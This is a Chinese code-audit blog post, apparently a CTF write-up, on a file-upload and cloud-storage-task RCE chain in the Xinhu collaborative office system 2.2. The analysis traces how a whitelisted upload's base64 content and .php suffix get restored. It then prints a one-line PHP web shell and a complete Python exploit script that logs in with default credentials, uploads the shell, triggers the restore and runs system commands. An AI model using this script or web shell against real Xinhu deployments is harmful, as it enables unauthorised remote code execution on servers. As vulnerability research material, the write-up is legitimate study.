天天看點

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

文章目錄

  • ​​寫在前面​​
  • 分析​​
  • ​​腳本​​

寫在前面

本次強網杯決賽的一個題,還是蠻有意思的,代碼可以在github拿到

​​​ https://github.com/rainrocka/xinhu​​

分析

首先這個系統存在弱密碼,在題目給的sql檔案當中通過線上md5得到​

​test/abc123​

接下來就是随便找一個地方進行檔案上傳

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

我們抓包看看對這個php檔案進行了什麼處理,其調用了​

​webmain/task/api/uploadAction.php​

​下uploadClassAction類的upfileAction函數

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

引入插件,執行個體化​

​upfileChajian​

​類

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

跳過不需太過于關注的部分,我們跟蹤​

​up​

​函數

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

看看issavefile

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

是一個白名單很明顯php字尾不符合

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

跳過不相幹一堆函數

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

可以很明顯的發現這類白名單外的檔案會被改字尾為​

​uptemp​

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

内容為原來内容的base64編碼結果,猜測估計是為了防止檔案包含,不過都到這裡了确實有點小單純

接下來就是最關鍵的地方,在​

​webmain\task\runt\qcloudCosAction.php​

​騰訊雲存儲下的​

​qcloudCosClassAction​

​的​

​run​

​方法,根據id從資料庫取出資料,接下來看圖

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

一方面恢複了php字尾,另一方面内容也通過base64還原了

運作下下面的腳本可以看見成功執行whoami

[代碼審計]信呼協同辦公系統2.2存在檔案上傳配合雲處理函數組合拳RCE

腳本

<?php eval($_GET["1"]);?>      
import requests


session = requests.session()

url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'dGVzdA::',
    'adminpass': 'YWJjMTIz',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)